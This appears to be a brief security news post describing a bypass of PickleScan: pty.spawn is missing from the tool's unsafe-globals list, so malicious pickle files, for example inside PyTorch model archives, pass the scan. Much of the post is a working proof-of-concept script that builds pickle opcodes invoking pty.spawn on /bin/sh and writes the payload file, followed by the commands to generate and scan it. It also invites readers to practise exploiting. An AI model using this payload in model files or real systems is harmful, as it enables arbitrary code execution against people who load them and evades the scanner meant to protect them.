Listen to this Post
This vulnerability exploits a gap in PickleScan’s security checks by utilizing the `pty.spawn` function, which is absent from its list of unsafe globals. PickleScan analyzes pickle files for dangerous global function calls that could lead to code execution. When scanning, it categorizes detected globals as “suspicious” or “dangerous” based on this list. The `pty` library, specifically pty.spawn, is not included, so payloads invoking it are flagged only as suspicious, not blocked. Attackers craft malicious pickle opcodes that call `pty.spawn` with a system command, such as /bin/sh. This payload can be embedded within files like PyTorch models, often distributed as ZIP archives. When PickleScan evaluates the file, it fails to recognize `pty.spawn` as a threat, allowing the file to pass. Subsequently, if a user or system loads this pickle, the `pty.spawn` function executes the embedded command, leading to arbitrary code execution. This bypass undermines the tool’s primary security function, enabling disguised attacks.
Platform: PickleScan
Version: latest
Vulnerability: Bypass unsafe globals
Severity: High
date: 2025
Prediction: Patch expected soon
What Undercode Say:
Analytics
bash command: python3 generate_poc.py
bash command: picklescan dump.pkl
Code: import pickle
command = b”/bin/sh”
payload = b””.join(
[
pickle.PROTO + pickle.pack(“B”, 4),
pickle.MARK,
pickle.GLOBAL + b”pty\n” + b”spawn\n”,
pickle.EMPTY_LIST,
pickle.SHORT_BINUNICODE + pickle.pack(“B”, len(command)) + command,
pickle.APPEND,
pickle.OBJ,
pickle.STOP,
]
)
with open(“dump.pkl”, “wb”) as f:
f.write(payload)
How Exploit:
Use pty.spawn in pickle payloads.
Protection from this CVE
Apply suggested patch.
Impact:
Arbitrary code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
